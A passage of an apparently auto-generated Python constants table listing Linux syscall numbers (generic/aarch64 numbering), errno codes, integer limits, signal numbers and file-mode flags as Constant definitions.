Constant('__NR_ftruncate',46)\n__NR_fallocate = Constant('__NR_fallocate',47)\n__NR_faccessat = Constant('__NR_faccessat',48)\n__NR_chdir = Constant('__NR_chdir',49)\n__NR_fchdir = Constant('__NR_fchdir',50)\n__NR_chroot = Constant('__NR_chroot',51)\n__NR_fchmod = Constant('__NR_fchmod',52)\n__NR_fchmodat = Constant('__NR_fchmodat',53)\n__NR_fchownat = Constant('__NR_fchownat',54)\n__NR_fchown = Constant('__NR_fchown',55)\n__NR_openat = Constant('__NR_openat',56)\n__NR_close = Constant('__NR_close',57)\n__NR_vhangup = Constant('__NR_vhangup',58)\n__NR_pipe2 = Constant('__NR_pipe2',59)\n__NR_quotactl = Constant('__NR_quotactl',60)\n__NR_getdents64 = Constant('__NR_getdents64',61)\n__NR_lseek = Constant('__NR_lseek',62)\n__NR_read = Constant('__NR_read',63)\n__NR_write = Constant('__NR_write',64)\n__NR_readv = Constant('__NR_readv',65)\n__NR_writev = Constant('__NR_writev',66)\n__NR_pread64 = Constant('__NR_pread64',67)\n__NR_pwrite64 = Constant('__NR_pwrite64',68)\n__NR_preadv = Constant('__NR_preadv',69)\n__NR_pwritev = Constant('__NR_pwritev',70)\n__NR_sendfile = Constant('__NR_sendfile',71)\n__NR_pselect6 = Constant('__NR_pselect6',72)\n__NR_ppoll = Constant('__NR_ppoll',73)\n__NR_signalfd4 = Constant('__NR_signalfd4',74)\n__NR_vmsplice = Constant('__NR_vmsplice',75)\n__NR_splice = Constant('__NR_splice',76)\n__NR_tee = Constant('__NR_tee',77)\n__NR_readlinkat = Constant('__NR_readlinkat',78)\n__NR_fstatat = Constant('__NR_fstatat',79)\n__NR_newfstatat = Constant('__NR_newfstatat',79)\n__NR_fstat = Constant('__NR_fstat',80)\n__NR_sync = Constant('__NR_sync',81)\n__NR_fsync = Constant('__NR_fsync',82)\n__NR_fdatasync = Constant('__NR_fdatasync',83)\n__NR_sync_file_range = Constant('__NR_sync_file_range',84)\n__NR_timerfd_create = Constant('__NR_timerfd_create',85)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',86)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',87)\n__NR_utimensat = Constant('__NR_utimensat',88)\n__NR_acct = Constant('__NR_acct',89)\n__NR_capget = Constant('__NR_capget',90)\n__NR_capset = Constant('__NR_capset',91)\n__NR_personality = Constant('__NR_personality',92)\n__NR_exit = Constant('__NR_exit',93)\n__NR_exit_group = Constant('__NR_exit_group',94)\n__NR_waitid = Constant('__NR_waitid',95)\n__NR_set_tid_address = Constant('__NR_set_tid_address',96)\n__NR_unshare = Constant('__NR_unshare',97)\n__NR_futex = Constant('__NR_futex',98)\n__NR_set_robust_list = Constant('__NR_set_robust_list',99)\n__NR_get_robust_list = Constant('__NR_get_robust_list',100)\n__NR_nanosleep = Constant('__NR_nanosleep',101)\n__NR_getitimer = Constant('__NR_getitimer',102)\n__NR_setitimer = Constant('__NR_setitimer',103)\n__NR_kexec_load = Constant('__NR_kexec_load',104)\n__NR_init_module = Constant('__NR_init_module',105)\n__NR_delete_module = Constant('__NR_delete_module',106)\n__NR_timer_create = Constant('__NR_timer_create',107)\n__NR_timer_gettime = Constant('__NR_timer_gettime',108)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',109)\n__NR_timer_settime = Constant('__NR_timer_settime',110)\n__NR_timer_delete = Constant('__NR_timer_delete',111)\n__NR_clock_settime = Constant('__NR_clock_settime',112)\n__NR_clock_gettime = Constant('__NR_clock_gettime',113)\n__NR_clock_getres = Constant('__NR_clock_getres',114)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',115)\n__NR_syslog = Constant('__NR_syslog',116)\n__NR_ptrace = Constant('__NR_ptrace',117)\n__NR_sched_setparam = Constant('__NR_sched_setparam',118)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',119)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',120)\n__NR_sched_getparam = Constant('__NR_sched_getparam',121)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',122)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',123)\n__NR_sched_yield = Constant('__NR_sched_yield',124)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',125)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',126)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',127)\n__NR_restart_syscall = Constant('__NR_restart_syscall',128)\n__NR_kill = Constant('__NR_kill',129)\n__NR_tkill = Constant('__NR_tkill',130)\n__NR_tgkill = Constant('__NR_tgkill',131)\n__NR_sigaltstack = Constant('__NR_sigaltstack',132)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',133)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',134)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',135)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',136)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',137)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',138)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',139)\n__NR_setpriority = Constant('__NR_setpriority',140)\n__NR_getpriority = Constant('__NR_getpriority',141)\n__NR_reboot = Constant('__NR_reboot',142)\n__NR_setregid = Constant('__NR_setregid',143)\n__NR_setgid = Constant('__NR_setgid',144)\n__NR_setreuid = Constant('__NR_setreuid',145)\n__NR_setuid = Constant('__NR_setuid',146)\n__NR_setresuid = Constant('__NR_setresuid',147)\n__NR_getresuid = Constant('__NR_getresuid',148)\n__NR_setresgid = Constant('__NR_setresgid',149)\n__NR_getresgid = Constant('__NR_getresgid',150)\n__NR_setfsuid = Constant('__NR_setfsuid',151)\n__NR_setfsgid = Constant('__NR_setfsgid',152)\n__NR_times = Constant('__NR_times',153)\n__NR_setpgid = Constant('__NR_setpgid',154)\n__NR_getpgid = Constant('__NR_getpgid',155)\n__NR_getsid = Constant('__NR_getsid',156)\n__NR_setsid = Constant('__NR_setsid',157)\n__NR_getgroups = Constant('__NR_getgroups',158)\n__NR_setgroups = Constant('__NR_setgroups',159)\n__NR_uname = Constant('__NR_uname',160)\n__NR_sethostname = Constant('__NR_sethostname',161)\n__NR_setdomainname = Constant('__NR_setdomainname',162)\n__NR_getrlimit = Constant('__NR_getrlimit',163)\n__NR_setrlimit = Constant('__NR_setrlimit',164)\n__NR_getrusage = Constant('__NR_getrusage',165)\n__NR_umask = Constant('__NR_umask',166)\n__NR_prctl = Constant('__NR_prctl',167)\n__NR_getcpu = Constant('__NR_getcpu',168)\n__NR_gettimeofday = Constant('__NR_gettimeofday',169)\n__NR_settimeofday = Constant('__NR_settimeofday',170)\n__NR_adjtimex = Constant('__NR_adjtimex',171)\n__NR_getpid = Constant('__NR_getpid',172)\n__NR_getppid = Constant('__NR_getppid',173)\n__NR_getuid = Constant('__NR_getuid',174)\n__NR_geteuid = Constant('__NR_geteuid',175)\n__NR_getgid = Constant('__NR_getgid',176)\n__NR_getegid = Constant('__NR_getegid',177)\n__NR_gettid = Constant('__NR_gettid',178)\n__NR_sysinfo = Constant('__NR_sysinfo',179)\n__NR_mq_open = Constant('__NR_mq_open',180)\n__NR_mq_unlink = Constant('__NR_mq_unlink',181)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',182)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',183)\n__NR_mq_notify = Constant('__NR_mq_notify',184)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',185)\n__NR_msgget = Constant('__NR_msgget',186)\n__NR_msgctl = Constant('__NR_msgctl',187)\n__NR_msgrcv = Constant('__NR_msgrcv',188)\n__NR_msgsnd = Constant('__NR_msgsnd',189)\n__NR_semget = Constant('__NR_semget',190)\n__NR_semctl = Constant('__NR_semctl',191)\n__NR_semtimedop = Constant('__NR_semtimedop',192)\n__NR_semop = Constant('__NR_semop',193)\n__NR_shmget = Constant('__NR_shmget',194)\n__NR_shmctl = Constant('__NR_shmctl',195)\n__NR_shmat = Constant('__NR_shmat',196)\n__NR_shmdt = Constant('__NR_shmdt',197)\n__NR_socket = Constant('__NR_socket',198)\n__NR_socketpair = Constant('__NR_socketpair',199)\n__NR_bind = Constant('__NR_bind',200)\n__NR_listen = Constant('__NR_listen',201)\n__NR_accept = Constant('__NR_accept',202)\n__NR_connect = Constant('__NR_connect',203)\n__NR_getsockname = Constant('__NR_getsockname',204)\n__NR_getpeername = Constant('__NR_getpeername',205)\n__NR_sendto = Constant('__NR_sendto',206)\n__NR_recvfrom = Constant('__NR_recvfrom',207)\n__NR_setsockopt = Constant('__NR_setsockopt',208)\n__NR_getsockopt = Constant('__NR_getsockopt',209)\n__NR_shutdown = Constant('__NR_shutdown',210)\n__NR_sendmsg = Constant('__NR_sendmsg',211)\n__NR_recvmsg = Constant('__NR_recvmsg',212)\n__NR_readahead = Constant('__NR_readahead',213)\n__NR_brk = Constant('__NR_brk',214)\n__NR_munmap = Constant('__NR_munmap',215)\n__NR_mremap = Constant('__NR_mremap',216)\n__NR_add_key = Constant('__NR_add_key',217)\n__NR_request_key = Constant('__NR_request_key',218)\n__NR_keyctl = Constant('__NR_keyctl',219)\n__NR_clone = Constant('__NR_clone',220)\n__NR_execve = Constant('__NR_execve',221)\n__NR_mmap = Constant('__NR_mmap',222)\n__NR_fadvise64 = Constant('__NR_fadvise64',223)\n__NR_swapon = Constant('__NR_swapon',224)\n__NR_swapoff = Constant('__NR_swapoff',225)\n__NR_mprotect = Constant('__NR_mprotect',226)\n__NR_msync = Constant('__NR_msync',227)\n__NR_mlock = Constant('__NR_mlock',228)\n__NR_munlock = Constant('__NR_munlock',229)\n__NR_mlockall = Constant('__NR_mlockall',230)\n__NR_munlockall = Constant('__NR_munlockall',231)\n__NR_mincore = Constant('__NR_mincore',232)\n__NR_madvise = Constant('__NR_madvise',233)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',234)\n__NR_mbind = Constant('__NR_mbind',235)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',236)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',237)\n__NR_migrate_pages = Constant('__NR_migrate_pages',238)\n__NR_move_pages = Constant('__NR_move_pages',239)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',240)\n__NR_perf_event_open = Constant('__NR_perf_event_open',241)\n__NR_accept4 = Constant('__NR_accept4',242)\n__NR_recvmmsg = Constant('__NR_recvmmsg',243)\n__NR_arch_specific_syscall = Constant('__NR_arch_specific_syscall',244)\n__NR_wait4 = Constant('__NR_wait4',260)\n__NR_prlimit64 = Constant('__NR_prlimit64',261)\n__NR_fanotify_init = Constant('__NR_fanotify_init',262)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',263)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',264)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',265)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',266)\n__NR_syncfs = Constant('__NR_syncfs',267)\n__NR_setns = Constant('__NR_setns',268)\n__NR_sendmmsg = Constant('__NR_sendmmsg',269)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',270)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',271)\n__NR_kcmp = Constant('__NR_kcmp',272)\n__NR_finit_module = Constant('__NR_finit_module',273)\n__NR_sched_setattr = Constant('__NR_sched_setattr',274)\n__NR_sched_getattr = Constant('__NR_sched_getattr',275)\n__NR_renameat2 = Constant('__NR_renameat2',276)\n__NR_seccomp = Constant('__NR_seccomp',277)\n__NR_getrandom = Constant('__NR_getrandom',278)\n__NR_memfd_create = Constant('__NR_memfd_create',279)\n__NR_bpf = Constant('__NR_bpf',280)\n__NR_execveat = Constant('__NR_execveat',281)\n__NR_userfaultfd = Constant('__NR_userfaultfd',282)\n__NR_membarrier = Constant('__NR_membarrier',283)\n__NR_mlock2 = Constant('__NR_mlock2',284)\n__NR_copy_file_range = Constant('__NR_copy_file_range',285)\n__NR_preadv2 = Constant('__NR_preadv2',286)\n__NR_pwritev2 = Constant('__NR_pwritev2',287)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',288)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',289)\n__NR_pkey_free = Constant('__NR_pkey_free',290)\n__NR_statx = Constant('__NR_statx',291)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',292)\n__NR_rseq = Constant('__NR_rseq',293)\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',294)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',1234)\n__WORDSIZE = Constant('__WORDSIZE',64)\n__WORDSIZE_COMPAT32 = Constant('__WORDSIZE_COMPAT32',1)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807)))\nINTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGBUS = Constant('SIGBUS',7)\nSIGUSR1 = Constant('SIGUSR1',10)\nSIGUSR2 = Constant('SIGUSR2',12)\nSIGSTKFLT = Constant('SIGSTKFLT',16)\nSIGCHLD = Constant('SIGCHLD',17)\nSIGCONT = Constant('SIGCONT',18)\nSIGSTOP = Constant('SIGSTOP',19)\nSIGTSTP = Constant('SIGTSTP',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGURG = Constant('SIGURG',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGIO = Constant('SIGIO',29)\nSIGPWR = Constant('SIGPWR',30)\nSIGSYS = Constant('SIGSYS',31)\nSIGCLD = Constant('SIGCLD',17)\nSIGPOLL = Constant('SIGPOLL',29)\nSIGLOST = Constant('SIGLOST',30)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_THIRTYTWO = Constant('SA_THIRTYTWO',0x02000000)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nSTAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = 